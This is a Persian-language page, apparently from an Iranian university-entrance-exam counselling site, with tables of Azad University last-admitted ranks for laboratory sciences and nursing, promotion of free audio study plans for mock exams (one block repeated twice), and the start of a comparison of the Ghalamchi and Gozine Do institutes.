پشت کنکور بمانیم یا دانشگاه برویم !!

باتوجه به ایام اعلام نتایج و انتخاب رشته مشکل اساسی که این روزها  داوطلبان درگیرش هستند اینه که:

پشت کنکور بمانیم یا دانشگاه برویم !!

بااین رتبه ای که اوردم برم دانشگاه؟

آیا  پشت کنکور بمونیم موفق خواهیم شد؟نتیجه مطلوب میگیریم یانه؟

برای کنکور ۹۶ کلی کلاس رفتم اما نتیجه مطلوب خودمو نگرفتم.بمونم نتیجه میگیرم؟

خانواده ام با پشت کنکور ماندن مخالفن.چه جوابی برای انها میتونم داشته باشم؟

دراین فایل صوتی سعی شده اکثر سوالات و مشکلات شما داوطلبان برای انتخاب رشته-دانشکاه رفتن ویا پشت کنکور ماندن پاسخ داده بشه

آخرین رتبه قبولی رشته علوم آزمایشگاهی دانشگاه آزاد

 آخرین رتبه قبولی رشته علوم آزمایشگاهی دانشگاه آزاد در کنکور ۹۵ – ۹۶ با سهمیه عادی ۶۷۶۴۶ کشوری بوده است 
رتبه آخرین نفر قبولی علوم آزمایشگاهی دانشگاه آزاد در کنکور ۹۵ – ۹۶
رشته علوم آزمایشگاهی
نام دانشگاه رتبه کشوری آخرین نفر قبولی رتبه در منطقه یک آخرین نفر قبولی رتبه در منطقه دو آخرین نفر قبولی رتبه در منطقه سه آخرین نفر قبولی
واحد اراک ۴۳۵۴۷ ۱۱۷۴۲ ۱۹۹۲۵ ۱۱۰۶۹
واحد اردبیل ۴۹۰۶۶ ۱۲۹۹۱ ۲۲۳۲۲ ۱۲۸۰۳
واحد الیگودرز ۶۲۵۵۶ ۱۵۸۹۹ ۲۸۰۷۵ ۱۷۲۴۵
 واحد بابل ۴۳۸۴۵ ۱۱۸۱۱ ۲۰۰۵۵ ۱۱۱۶۱
 واحد بروجرد ۵۴۲۵۸ ۱۴۱۳۳ ۲۴۵۵۲ ۱۴۴۷۸
 واحد پزشکی تهران ۲۰۱۹۴ ۵۹۵۵ ۹۴۷۴ ۴۴۳۸
 واحد چالوس ۴۴۵۸۰ ۱۱۹۷۹ ۲۰۳۷۵ ۱۱۳۸۹
واحد زاهدان ۶۷۶۴۶ ۱۶۹۵۲ ۳۰۲۱۶ ۱۸۹۹۶
 واحد ساری ۳۷۲۷۹ ۱۰۲۷۵ ۱۷۱۶۸ ۹۱۶۴
واحد شاهرود ۴۹۵۳۷ ۱۳۰۹۶ ۲۲۵۲۵ ۱۲۹۵۳
 واحد قم ۳۶۱۳۵ ۱۰۰۰۱ ۱۶۶۶۱ ۸۸۲۵
 واحد کازرون ۴۰۸۵۴ ۱۱۱۱۹ ۱۸۷۴۵ ۱۰۲۴۱
واحد کرمانشاه ۴۵۰۸۵ ۱۲۰۹۴ ۲۰۵۹۶ ۱۱۵۴۷
 واحد گرگان ۴۸۲۷۸ ۱۲۸۱۵ ۲۱۹۸۱ ۱۲۵۵۲
واحد لاهیجان ۴۷۰۰۹ ۱۲۵۳۰ ۲۱۴۳۲ ۱۲۱۵۱
 واحد مرند ۵۰۵۲۷ ۱۳۳۵۱ ۲۲۹۵۱ ۱۳۲۷۰
واحد مشهد ۲۴۵۰۳ ۷۰۹۴ ۱۱۴۳۹ ۵۵۵۵

 

رتبه آخرین نفر قبولی علوم آزمایشگاهی ظرفیت مازاد دانشگاه آزاد در کنکور ۹۵ – ۹۶
رشته علوم آزمایشگاهی
نام دانشگاه رتبه کشوری آخرین نفر قبولی رتبه در منطقه یک آخرین نفر قبولی رتبه در منطقه دو آخرین نفر قبولی رتبه در منطقه سه آخرین نفر قبولی
 واحد اراک – ظرفیت مازاد خودگردان ۵۹۰۴۷ ۱۵۱۶۰ ۲۶۵۹۱ ۱۶۰۶۱
واحد بابل – ظرفیت مازاد خودگردان ۶۴۰۹۴ ۱۶۲۲۰ ۲۸۷۲۳ ۱۷۷۷۰
واحد بروجرد – ظرفیت مازاد خودگردان ۸۱۱۲۶ ۱۹۶۴۷ ۳۵۸۳۷ ۲۳۷۹۷
 واحد پزشکی تهران – ظرفیت مازاد خودگردان ۲۹۳۴۳ ۸۳۳۲ ۱۳۶۲۶ ۶۸۷۳
واحد تبریز- ظرفیت مازاد خودگردان ۵۰۳۰۵ ۱۳۲۶۶ ۲۲۸۵۶ ۱۳۱۹۹
واحد چالوس – ظرفیت مازاد خودگردان ۶۶۰۵۹ ۱۶۶۲۶ ۲۹۵۵۰ ۱۸۴۴۶
واحد زاهدان – ظرفیت مازاد خودگردان ۷۹۹۸۰ ۱۹۴۲۲ ۳۵۳۶۱ ۲۳۳۸۲
واحد ساری – ظرفیت مازاد خودگردان ۵۹۲۵۷ ۱۵۲۰۵ ۲۶۶۸۰ ۱۶۱۳۲
 واحد شاهرود – ظرفیت مازاد خودگردان ۵۵۳۶۶ ۱۴۳۷۲ ۲۵۰۲۵ ۱۴۸۴۱
واحد قم – ظرفیت مازاد خودگردان ۳۷۹۵۰ ۱۰۴۳۵ ۱۷۴۶۵ ۹۳۶۴
 واحد کرمانشاه – ظرفیت مازاد خودگردان ۵۴۹۶۸ ۱۴۲۸۶ ۲۴۸۵۵ ۱۴۷۱۱
واحد گرگان – ظرفیت مازاد خودگردان ۶۷۶۰۱ ۱۶۹۴۳ ۳۰۱۹۷ ۱۸۹۸۰
 واحد مرند – ظرفیت مازاد خودگردان ۵۸۷۹۶ ۱۵۱۰۷ ۲۶۴۸۵ ۱۵۹۷۸
واحد مشهد – ظرفیت مازاد خودگردان ۳۱۴۰۲ ۸۸۴۶ ۱۴۵۵۱ ۷۴۵۳
 آخرین رتبه قبولی رشته علوم آزمایشگاهی ظرفیت مازاد دانشگاه آزاد در کنکور ۹۵ – ۹۶ با سهمیه عادی ۸۱۱۲۶ کشوری بوده است 

اخرین رتبه قبولی پرستاری آزاد

 آخرین رتبه قبولی رشته پرستاری دانشگاه آزاد در کنکور ۹۵ – ۹۶ با سهمیه عادی ۶۰۹۱۳ کشوری بوده است 
رتبه آخرین نفر قبولی پرستاری دانشگاه آزاد در کنکور ۹۵ – ۹۶
رشته پرستاری
نام دانشگاه رتبه کشوری آخرین نفر قبولی رتبه در منطقه یک آخرین نفر قبولی رتبه در منطقه دو آخرین نفر قبولی رتبه در منطقه سه آخرین نفر قبولی
 واحد گچساران ۴۱۲۳۷ ۱۱۲۰۸ ۱۸۹۱۳ ۱۰۳۵۸
 واحد ارسنجان ۴۰۶۳۱ ۱۱۰۶۷ ۱۸۶۴۷ ۱۰۱۷۴
واحد اصفهان(خوراسگان)  ۳۹۹۶۸ ۱۰۹۱۱ ۱۸۳۵۵ ۹۹۷۲
 واحد اهواز ۳۹۹۸۵ ۱۰۸۴۵ ۱۸۲۳۱ ۹۸۸۶
واحد آبادان ۵۲۴۷۹ ۱۳۷۴۵ ۲۳۷۹۰ ۱۳۸۹۹
 واحد بروجرد ۴۷۱۴۹ ۱۲۵۶۱ ۲۱۴۹۲ ۱۲۱۹۵
واحد بندرعباس  ۴۹۶۴۶ ۱۳۱۲۰ ۲۲۵۷۲ ۱۲۹۸۸
واحد بهبهان  ۴۶۸۰۰ ۱۲۴۸۳ ۲۱۳۴۱ ۱۲۰۸۵
واحد پزشکی تهران ۳۵۵۷۰ ۹۸۶۵ ۱۶۴۱۱ ۸۶۵۸
واحد تنکابن ۴۷۲۵۴ ۱۲۵۸۵ ۲۱۵۳۸ ۱۲۲۲۸
واحد چالوس ۴۵۶۶۳ ۱۲۲۲۶ ۲۰۸۴۷ ۱۱۷۲۸
واحد خرم آباد ۴۵۵۲۷ ۱۲۱۹۵ ۲۰۷۸۸ ۱۱۶۸۵
واحد خوی  ۴۵۵۲۷ ۱۲۱۹۵ ۲۰۷۸۸ ۱۱۶۸۵
 واحد دزفول  ۵۰۰۸۵ ۱۳۲۱۷ ۲۲۷۶۱ ۱۳۱۲۸
 واحد دورود ۵۰۷۴۹ ۱۳۳۶۴ ۲۳۰۴۷ ۱۳۳۴۱
واحد زاهدان ۶۰۳۵۷ ۱۵۴۳۸ ۲۷۱۴۶ ۱۶۵۰۱
واحد ساری  ۳۹۱۸۵ ۱۰۷۲۷ ۱۸۰۱۰ ۹۷۳۵
 واحد ساوه ۴۵۲۵۵ ۱۲۱۳۳ ۲۰۶۶۹ ۱۱۶۰۰
واحد سبزوار ۵۳۰۵۴ ۱۳۸۷۰ ۲۴۰۳۷ ۱۴۰۸۶
واحد سنندج  ۳۸۱۰۳ ۱۰۴۷۱ ۱۷۵۳۳ ۹۴۱۰
واحد سیرجان  ۶۰۹۱۳ ۱۵۵۵۵ ۲۷۳۸۱ ۱۶۶۸۸
واحد شهربابک  ۶۱۶۴۴ ۱۵۷۰۸ ۲۷۶۹۰ ۱۶۹۳۵
 واحد فردوس ۵۹۱۷۳ ۱۵۱۸۷ ۲۶۶۴۴ ۱۶۱۰۴
واحد فلاورجان ۵۰۴۹۰ ۱۳۳۰۷ ۲۲۹۳۶ ۱۳۲۵۸
 واحد قاینات ۵۹۸۴۸ ۱۵۳۳۰ ۲۶۹۳۰ ۱۶۳۳۰
 واحد قم  ۳۸۸۱۲ ۱۰۶۳۹ ۱۷۸۴۶ ۹۶۲۳
واحد کرج  ۳۷۳۰۹ ۱۰۲۸۳ ۱۷۱۸۲ ۹۱۷۳
واحد کاشان ۴۰۷۹۰ ۱۱۱۰۴ ۱۸۷۱۷ ۱۰۲۲۲
واحد کرمان  ۵۷۸۴۱ ۱۴۹۰۴ ۲۶۰۷۹ ۱۵۶۵۹
واحد مسجدسلیمان  ۵۴۵۷۳ ۱۴۲۰۱ ۲۴۶۸۷ ۱۴۵۸۱
 واحد مشهد ۴۰۰۳۱ ۱۰۹۲۶ ۱۸۳۸۳ ۹۹۹۱
 واحد میبد ۴۹۳۹۲ ۱۳۰۶۳ ۲۲۴۶۲ ۱۲۹۰۷
واحد نجف آباد  ۴۲۴۳۱ ۱۱۴۸۵ ۱۹۴۳۷ ۱۰۷۲۴
واحد نیشابور ۴۶۸۷۰ ۱۲۴۹۸ ۲۱۳۷۱ ۱۲۱۰۷
 واحد همدان ۴۱۸۴۸ ۱۱۳۵۰ ۱۹۱۸۱ ۱۰۵۴۵
واحد ورامین  ۴۱۵۵۸ ۱۱۲۸۳ ۱۹۰۵۴ ۱۰۴۵۶
 واحد یزد ۴۵۱۱۹ ۱۲۱۰۲ ۲۰۶۱۰ ۱۱۵۵۸
 واحد اراک ۴۳۲۸۳ ۱۱۶۸۱ ۱۹۸۰۹ ۱۰۹۸۷
 واحد اردبیل ۴۱۳۶۵ ۱۱۲۳۸ ۱۸۹۶۹ ۱۰۳۹۷
واحد ارومیه ۴۱۶۸۷ ۱۱۳۱۳ ۱۹۱۱۰ ۱۰۴۹۶
واحد تبریز ۳۹۶۸۵ ۱۰۸۴۵ ۱۸۲۳۱ ۹۸۸۶
 واحد رشت ۳۷۹۱۹ ۱۰۴۲۸ ۱۷۴۵۲ ۹۳۵۵
واحد زنجان ۴۴۴۱۲ ۱۱۹۴۰ ۲۰۳۰۲ ۱۱۳۳۷
 واحد سنندج ۳۸۱۰۳ ۱۰۴۷۱ ۱۷۵۳۳ ۹۴۱۰
 واحد گرگان ۳۲۹۶۳ ۹۲۳۱ ۱۵۲۴۹ ۷۸۹۹
واحد مراغه ۴۵۲۸۹ ۱۲۱۴۰ ۲۰۶۸۴ ۱۱۶۱۱
واحد همدان ۴۱۸۴۸ ۱۱۳۵۰ ۱۹۱۸۱ ۱۰۵۴۵
 واحدلاهیجان ۴۱۷۵۱ ۱۱۳۲۸ ۱۹۱۳۹ ۱۰۵۱۶
واحد کرمانشاه ۲۸۴۴۲ ۸۱۰۵ ۱۳۲۲۱ ۶۶۲۲

 

 

رتبه آخرین نفر قبولی پرستاری ظرفیت مازاد دانشگاه آزاد در کنکور ۹۵ – ۹۶
رشته پرستاری
نام دانشگاه رتبه کشوری آخرین نفر قبولی رتبه در منطقه یک آخرین نفر قبولی رتبه در منطقه دو آخرین نفر قبولی رتبه در منطقه سه آخرین نفر قبولی
 واحد اراک – ظرفیت مازاد خودگردان  ۵۹۱۳۱ ۱۵۱۷۸ ۲۶۶۲۷ ۱۶۰۹۰
 واحد اردبیل – ظرفیت مازاد خودگردان  ۷۱۳۰۱ ۱۷۶۹۶ ۳۱۷۴۶ ۲۰۲۷۷
واحد ارسنجان – ظرفیت مازاد خودگردان ۶۱۱۷۰ ۱۵۶۰۹ ۲۷۴۹۰ ۱۶۷۷۵
واحد آبادان – ظرفیت مازاد خودگردان ۷۴۵۲۲ ۱۸۳۴۲ ۳۳۰۹۰ ۲۱۴۲۱
 واحد بابل – ظرفیت مازاد خودگردان ۶۱۹۹۰ ۱۵۷۸۱ ۲۷۸۳۶ ۱۷۰۵۳
 واحد بروجرد – ظرفیت مازاد خودگردان ۷۵۸۶۸ ۱۸۶۱۱ ۳۳۶۵۱ ۲۱۹۰۲
 واحد بندرعباس – ظرفیت مازاد خودگردان  ۷۴۳۷۸ ۱۸۳۱۴ ۳۳۰۳۱ ۲۱۳۶۹
واحد پزشکی تهران – ظرفیت مازاد خودگردان ۵۶۷۷۶ ۱۴۶۷۶ ۲۵۶۲۶ ۱۵۳۰۶
 واحد تنکابن – ظرفیت مازاد خودگردان ۶۵۲۵۱ ۱۶۴۶۰ ۲۹۲۱۰ ۱۸۱۶۷
 واحد چالوس – ظرفیت مازاد خودگردان  ۶۵۰۲۸ ۱۶۴۱۳ ۲۹۱۱۶ ۱۸۰۹۰
 واحد خرم آباد – ظرفیت مازاد خودگردان ۷۰۹۲۶ ۱۷۶۲۰ ۳۱۵۸۹ ۲۰۱۴۵
واحد دهاقان – ظرفیت مازاد خودگردان ۶۸۲۸۷ ۱۷۰۸۳ ۳۰۴۸۵ ۱۹۲۱۹
واحد دورود – ظرفیت مازاد خودگردان  ۷۶۶۹۱ ۱۸۷۷۴ ۳۳۹۹۴ ۲۲۱۹۷
 واحد رشت – ظرفیت مازاد خودگردان  ۵۶۱۶۸ ۱۴۵۴۵ ۲۵۳۶۷ ۱۵۱۰۵
 واحد زاهدان – ظرفیت مازاد خودگردان  ۸۴۲۱۰ ۲۰۲۴۷ ۳۷۱۱۵ ۲۴۹۱۷
واحد زنجان – ظرفیت مازاد خودگردان  ۶۳۱۲۴ ۱۶۰۱۸ ۲۸۳۱۵ ۱۷۴۳۸
 واحد ساری – ظرفیت مازاد خودگردان  ۶۰۸۷۰ ۱۵۵۴۶ ۲۷۳۶۳ ۱۶۶۷۴
واحد ساوه – ظرفیت مازاد خودگردان ۶۶۴۶۵ ۱۶۷۱۰ ۲۹۷۲۰ ۱۸۵۸۶
 واحد سبزوار- ظرفیت مازاد خودگردان ۸۳۱۹۱ ۲۰۰۴۹ ۳۶۶۹۳ ۲۴۵۴۷
واحد سیرجان – ظرفیت مازاد خودگردان ۷۹۹۸۰ ۱۹۴۲۲ ۳۵۳۶۱ ۲۳۳۸۲
واحد شهربابک – ظرفیت مازاد خودگردان ۷۷۵۶۸ ۱۸۹۴۸ ۳۴۳۵۹ ۲۲۵۱۲
 واحد علی آبادکتول – ظرفیت مازاد خودگردان ۷۸۹۹۱ ۱۹۲۲۸ ۳۴۹۵۰ ۲۳۰۲۵
 واحد فیروزآباد – ظرفیت مازاد خودگردان ۵۶۸۵۷ ۱۴۶۹۳ ۲۵۶۶۱ ۱۵۳۳۳
واحد قم – ظرفیت مازاد خودگردان ۶۴۴۰۴ ۱۶۲۸۴ ۲۸۸۵۴ ۱۷۸۷۶
واحد کرج – ظرفیت مازاد خودگردان ۵۷۹۶۵ ۱۴۹۳۰ ۲۶۱۳۲ ۱۵۷۰۰
واحد کرمان – ظرفیت مازاد خودگردان  ۶۶۲۸۵ ۱۶۶۷۳ ۲۹۶۴۵ ۱۸۵۲۴
واحد کرمانشاه – ظرفیت مازاد خودگردان ۴۰۶۰۰ ۱۱۰۵۹ ۱۸۶۳۳ ۱۰۱۶۴
واحد لاهیجان – ظرفیت مازاد خودگردان  ۶۲۷۳۰ ۱۵۹۳۶ ۲۸۱۴۹ ۱۷۳۰۴
واحد مشهد – ظرفیت مازاد خودگردان ۵۱۲۷۰ ۱۳۴۷۹ ۲۳۲۷۱ ۱۳۵۰۹
 واحد نجف آباد – ظرفیت مازاد خودگردان ۵۵۰۰۸ ۱۴۲۹۵ ۲۴۸۷۲ ۱۴۷۲۴
واحد نیشابور- ظرفیت مازاد خودگردان ۶۶۱۹۴ ۱۶۶۵۴ ۲۹۲۰۶ ۱۸۴۹۳
واحد همدان – ظرفیت مازاد خودگردان  ۵۰۱۹۵ ۱۳۲۴۲ ۲۲۸۰۹ ۱۳۱۶۳
 واحد ورامین – ظرفیت مازاد خودگردان ۶۱۲۱۳ ۱۵۶۱۸ ۲۷۵۰۸ ۱۶۷۸۹
 واحدکاشان – ظرفیت مازاد خودگردان ۶۳۶۰۸ ۱۶۱۱۹ ۲۸۵۱۸ ۱۷۶۰۳
واحد سنندج – ظرفیت مازاد خودگردان ۴۹۴۶۴ ۱۳۰۷۹ ۲۲۴۹۴ ۱۲۹۳۰
 آخرین رتبه قبولی رشته پرستاری ظرفیت مازاد دانشگاه آزاد در کنکور ۹۵ – ۹۶ با سهمیه عادی ۸۴۲۱۰ بوده است 

برنامه ریزی رایگان ازمون قلمچی

به نام ناظم بهترین نظم ها

سلام وقت بخیر به تمامی داوطالبان کنکور ۹۷

براساس روال همیشگی اکادمی مشاوره برنامه صد بعد از هر ازمون برنامه ریزی رایگان ویژه ازمون بعدی بصورت فایل صوتی دراختیار شما قرار خواهد گرفت.

**از دلایل اینکه این برنامه ریزی ها بصورت فایل صوتی تهیه میشود اینست که با توجه به بودجه بندی هر ازمون میتوان توضیحاتی درخصوص برنامه ریزی و نکات مشاوره ای در ذیل برنامه ریزی با توضیحات کامل در اختیار شما قرار بگیرد.

وهمچنین در این فایل ها استاد محمدی باتوجه به بودجه بندی های مخصوص هر درشته توصیه ها و سفارش ها و نکات تحصیلی/اموزشی./ومشاوره ای و انگیزشی نیز برای دانش اموزان خواهند داشت.

همواره درنظر داشته باشید که این انتقاد وارد است که نمیتوان یک برنامه و نسخه را برای همه تجویز کرد اما لازم بذکرست که این فایل ها و برنامه ها همانطور که در تمامی فایل ها در طول این سال ها گفته میشود بصورت کاملا پیشنهادی بوده که باتوجه به نکات و توضیحات ارایه شده دانش اموزان باید انهارا باتوجه به تایم کلاسها و برنامه های خود شخصی سازی کنند.

و از مزایای این برنامه ریزی نسبت به برنامه ریزی های کاغذای پیشنهادی توسط برخی موسسات و افراد مشاور نماو سودجو اینست که اولا این برنامه ها تا خوده کنکور کاملا رایگان بوده و ثانیا انعطاف پذید بوده که دانش اموز میتواند انرا برای خود شخصی سازی کند

و ثالثا اینکه دانش اموز میتواند بعد از گذشت چند ازمون نکات و الگوی های یک برنامه ریزی شخصی را برای خود اجرا و پیاده سازی کند.

پس در اینجا لازم است که مجددا چند نکته زیر تکرار شود.

۱:این برنامه ریزی هایی که ما ارایه میدم برای هرازمون بصورت پیشنهادی هستش

و به این معنا نیست که یه برنامه ی کیلویی و کلی به همه دادیم نه!بارها وبارها در فایل ها گفتیم که بصورت پیشنهادی هستش و ازاونحایی که خاصیت یه برنامه ریزی خوی اینه که منطعف باشه و بشه باتوجه به شرایط هرفرد شخصی سازی بشه این برنامه رو شما ها میتونید دانلود کنید و باتوجه به تایم کلاسها خصوصی که دارید و یا برنامه ی امتحان های مدرسه تون اونو شخصی کرده و مرتب کنید.

۲:برنامه ریزی های ارایه شده بصورت فایل های صوتی هستش.خیلی ها تماس میگیرن و میگن اقای محمدی ما برنامه ریزی ندیدیم فقط فایل صوتی بود.

این یکی دیگه از وجه تمایز برنامه ریزی های ما درقیاس بابرنامه های خط کشی شده و جدول بندی دیگران هستش!که ما بهمراه ارایه برنامه ریزی مشاوره صوتی هم برای هردرس در خصوص اون ازمون بشما خواهیم داد.

بعبارتی درهرفایل صوتی علاوه براینکه برنامه ریزی هایی ارایه میشه کمه میتونید باکاغذو قلم یادداشت برداریشون کنید مشاوره ویژه اون ازمون و نکته هایی که دراون ازمون ها و اون دروس لازمه بدونید بهتون ارایه میشه.

۳: ازمون های سنجش و گاج بدلیل جامعه آماری پایینی که مخاطبین سایت دارن ارایه نمیشه.

۴:رشته انسانی بدلیل جامعه آماری پایینی که دارن برنامه ریزی درس هاشون درهرفایل صوتی بصورت ارایه چند راهکار خاص چگونگی برنامه ریزی درفواصل دو-سه هفته ازمون درفایل صوتی  ارایه خواهد شد.

۵:دوباره تکرار میکنم این برنامه ریزی برای اون دسته از دانش اموزانی هستش که دسترسی به مشاور در مناطق محروم ندارن اما میخوان به کیفیت یه برنامه ریزی خوب توسط یه مشور حرفه ای و خوب و راه شناس دسترسی داشته باشن.

چنانچه تمایل به داشتن برنامه ریزی شخصی هماهنگ و متناسب با کلاسها و ازمونتون داشته باشید و همچنین روش های خواندن هردرس خلاصه نویسی و مرور هردرس تکنیک ها تست زنی و مشکل دفع کند خوانی یادبگیرید از یه مشاور شخصی استفاده کنید.

نمیگم منه محمدی نه!برید تو شهر خودتون مشاور خوب ببینید هست ازاون استفاده کنید توشهرتون نشد تو مرکز استانتون دیگه اگر نبود مشاوره های تلفنی بگیرید من گزینه اخرتون باشم که اگر کسیو پیدا نکردید با من بخواید کارکنید.


 

برنامه ریزی رایگان ازمون های قلمچی

برنامه ریزی ازمون ۲۰ مرداد

برنامه ریزی ازمون ۶مرداد

برنامه ریزی رایگان ازمون گزینه دو

به نام ناظم بهترین نظم ها

سلام وقت بخیر به تمامی داوطالبان کنکور ۹۷

براساس روال همیشگی اکادمی مشاوره برنامه صد بعد از هر ازمون برنامه ریزی رایگان ویژه ازمون بعدی بصورت فایل صوتی دراختیار شما قرار خواهد گرفت.

**از دلایل اینکه این برنامه ریزی ها بصورت فایل صوتی تهیه میشود اینست که با توجه به بودجه بندی هر ازمون میتوان توضیحاتی درخصوص برنامه ریزی و نکات مشاوره ای در ذیل برنامه ریزی با توضیحات کامل در اختیار شما قرار بگیرد.

وهمچنین در این فایل ها استاد محمدی باتوجه به بودجه بندی های مخصوص هر درشته توصیه ها و سفارش ها و نکات تحصیلی/اموزشی./ومشاوره ای و انگیزشی نیز برای دانش اموزان خواهند داشت.

همواره درنظر داشته باشید که این انتقاد وارد است که نمیتوان یک برنامه و نسخه را برای همه تجویز کرد اما لازم بذکرست که این فایل ها و برنامه ها همانطور که در تمامی فایل ها در طول این سال ها گفته میشود بصورت کاملا پیشنهادی بوده که باتوجه به نکات و توضیحات ارایه شده دانش اموزان باید انهارا باتوجه به تایم کلاسها و برنامه های خود شخصی سازی کنند.

و از مزایای این برنامه ریزی نسبت به برنامه ریزی های کاغذای پیشنهادی توسط برخی موسسات و افراد مشاور نماو سودجو اینست که اولا این برنامه ها تا خوده کنکور کاملا رایگان بوده و ثانیا انعطاف پذید بوده که دانش اموز میتواند انرا برای خود شخصی سازی کند

و ثالثا اینکه دانش اموز میتواند بعد از گذشت چند ازمون نکات و الگوی های یک برنامه ریزی شخصی را برای خود اجرا و پیاده سازی کند.

پس در اینجا لازم است که مجددا چند نکته زیر تکرار شود.

۱:این برنامه ریزی هایی که ما ارایه میدم برای هرازمون بصورت پیشنهادی هستش

و به این معنا نیست که یه برنامه ی کیلویی و کلی به همه دادیم نه!بارها وبارها در فایل ها گفتیم که بصورت پیشنهادی هستش و ازاونحایی که خاصیت یه برنامه ریزی خوی اینه که منطعف باشه و بشه باتوجه به شرایط هرفرد شخصی سازی بشه این برنامه رو شما ها میتونید دانلود کنید و باتوجه به تایم کلاسها خصوصی که دارید و یا برنامه ی امتحان های مدرسه تون اونو شخصی کرده و مرتب کنید.

۲:برنامه ریزی های ارایه شده بصورت فایل های صوتی هستش.خیلی ها تماس میگیرن و میگن اقای محمدی ما برنامه ریزی ندیدیم فقط فایل صوتی بود.

این یکی دیگه از وجه تمایز برنامه ریزی های ما درقیاس بابرنامه های خط کشی شده و جدول بندی دیگران هستش!که ما بهمراه ارایه برنامه ریزی مشاوره صوتی هم برای هردرس در خصوص اون ازمون بشما خواهیم داد.

بعبارتی درهرفایل صوتی علاوه براینکه برنامه ریزی هایی ارایه میشه کمه میتونید باکاغذو قلم یادداشت برداریشون کنید مشاوره ویژه اون ازمون و نکته هایی که دراون ازمون ها و اون دروس لازمه بدونید بهتون ارایه میشه.

۳: ازمون های سنجش و گاج بدلیل جامعه آماری پایینی که مخاطبین سایت دارن ارایه نمیشه.

۴:رشته انسانی بدلیل جامعه آماری پایینی که دارن برنامه ریزی درس هاشون درهرفایل صوتی بصورت ارایه چند راهکار خاص چگونگی برنامه ریزی درفواصل دو-سه هفته ازمون درفایل صوتی  ارایه خواهد شد.

۵:دوباره تکرار میکنم این برنامه ریزی برای اون دسته از دانش اموزانی هستش که دسترسی به مشاور در مناطق محروم ندارن اما میخوان به کیفیت یه برنامه ریزی خوب توسط یه مشور حرفه ای و خوب و راه شناس دسترسی داشته باشن.

چنانچه تمایل به داشتن برنامه ریزی شخصی هماهنگ و متناسب با کلاسها و ازمونتون داشته باشید و همچنین روش های خواندن هردرس خلاصه نویسی و مرور هردرس تکنیک ها تست زنی و مشکل دفع کند خوانی یادبگیرید از یه مشاور شخصی استفاده کنید.

نمیگم منه محمدی نه!برید تو شهر خودتون مشاور خوب ببینید هست ازاون استفاده کنید توشهرتون نشد تو مرکز استانتون دیگه اگر نبود مشاوره های تلفنی بگیرید من گزینه اخرتون باشم که اگر کسیو پیدا نکردید با من بخواید کارکنید.


برنامه ریزی رایگان ازمون های گام اول (تابستان ۹۶) گزینه دو

برنامه ریزی ازمون ۲۰ مرداد

برنامه ریزی ازمون ۶ مرداد

برنامه ریزی ازمون ۲۳ تیر

کدام موسسه بهترست؟قلمچی یا گزینه دو!

بنام خدا

سلام خدمت شما دوستان عزیز کنکوری سال چهارمی ها و داوطلبان فارغ التحصیل

باتوجه به شروع تابستان (وشروع سال تحصیلی درمهرماه)در سطح شهر و تلویزیون پر میشه از تبلیغات جنجال برانگیز موسسات کنکوری مختلف که به کانون بیایید/گام اول گزینه دوباشید/و باسنجش خودتونو سنجش کنیدواینحرفها

تبلیغات دیوانه کننده موسسات تماس های مکرر از موسسات مختلف و پیشنهادهای وسوسه انگیز مبنی براینکه بامااگر باشی ماشمارو موفق میکنیم برتر میکنیمو اینحرفها.اما واقعیت چیه؟ و کدوم یکی بهترن؟

 

 

قصدداریم دراین مقاله درباره ی کیفیت آموزشی

برنامه ی ریزی آزمون ها و بودجه بندی هرآزمون

کیفیت سوالات آزمون ها

خدمات آموزشی مکمل

قیمت و هزینه آزمون و خدمات آموزشی

هرکدوم ازموسسات را بررسی ومقایسه و صحبت کنیم.

______________________________________________________________________________________________________

برنامه ریزی

برنامه راهبری کانون قلمچی

بطور کلی برنامه ریزی ازمونهای قلمچی هردوهفته یکبار برگزار میشه که درقالب پروژه های مختلف تابستان و ۸ پروژه درطول سال تحصیلی برگزار میکنه.

برنامه ریزی کانون درطول تابستان اینجوریه که سال سوم باید بصورت اجباری پاسخ بدید و سال دومو چهارمو هم بصورت اختیاری  میتونید انتخاب کرده و پاسخ بدید.متاسفانه ایرادی که به بودجه بندی قلمچی وارد هستش سنگین بودن حجم مباحث بین دوهفته هستش.((بخصوص درطول تابستان))و انتظار دارند که دانش اموز درسهایی که در دوسال (دوم و سوم) خوانده بصورت فشرده در سه ماه مفهومی ترکیبی و کنکور بخوانند که خب باتوجه به اینکه سطح تمامی دانش اموزا یکی نیستش و اکثردانش اموزان از پایه قوی در سال دوم و سوم برخوردار نیستند و بخصوص در درسهای سال دوم مشکل داشته و ضعیف هستند نمیتونند در مدت دوهفته این حجم عظیم مطالب را باهم بخوانند. بطور مثال:

۵۰ صفحه زیست شناسی سوم و ۵۰ صفحه زیست دوم و بهمراه ۵۰صفحه فیزیک  سوم و ۳۰ صفحه فیزیک دوم-۲۰ صفحه شیمی سوم و ۳۰ صفحه شیمی دوم-۶۰ صفحه آمار ۲۰ صفحه ریاضی سوم ۴۰ صفحه هندسه و ۲۵ صفحه ریاضی دوم این حجم از مطالب تخصصی حالا عمومی ها دیگه به کنار!

دانش اموز باید همه ی این مطالبو در طول دوهفته  هم تشریحی بخونه آموزشی یاد بگیره تست بزنه دوره کنه تا بتونه ازپس ازمون بربیاد.

درطول ازمون حدود ۶ تا ازمون برگزار میشه هردوهفته یکبار و از ۲۱مهرماه هم حدود ۱۹-۲۰ آزمون برگزار میکنه

برنامه راهبردی کانون از مهرماه ببعد برای دانش اموزان خب سبکتر و بهتره

درطول سال درسهای سال سون باسرعت خیلی اروم پیش میره و و هرکدوم از درسهای سال دوم و سوم در یک ترم تموم میکنه که این برنامه قابل اجرا تره نسبت به تابستون

توصیه ی من بشخصه اینه که از مهرماه ببعد این برنامه راهبری برای فارغ التحصیلها خیلی میتونه مفیدو خوب باشه و اگر پایبند به برنامه باشند میتونند تراز و درصد خوبی توی ازمون ها بدست بیارند

همچنین دانش اموزان سال چهارمی نیز چون دراکثر شهر ها مدارس درسهای سال چهارمش  نمیتونه باازمون هماهنگی داشته باشه

من توصیه میکنم به این ازمون ها به دید رتبه و تراز کنکور نگاه نکنند و صرفا معیاری برای سنجیدن اون چیزی که درطول هردوهفته میخونند استفاده کنند وبااین برنامه میتونند درسهای سال چهارمو خودشون بخونند و درسهای پایه دوم و سوم خیلی راحت طبق این برنامه درطول سال جمع بندی کنند.

بودجه بندی آزمون گزینه دو

آزمون گزینه دو به رسم هرساله درقالب دو طرح برای داوطلبان کنکور برنامه ی آزموهای خودشو قرار میده.درطول تابستان با طرح گام اول و طرح دوم ازمونهای سال تحصیلی!

درطول تابستان با ۵ مرحله آزمون حضوری از اواخر تیر تا اخر شهریور را هردوهفته یکبار باتمرکز برروی درسهای پایه دوم و سوم برگزار میکند

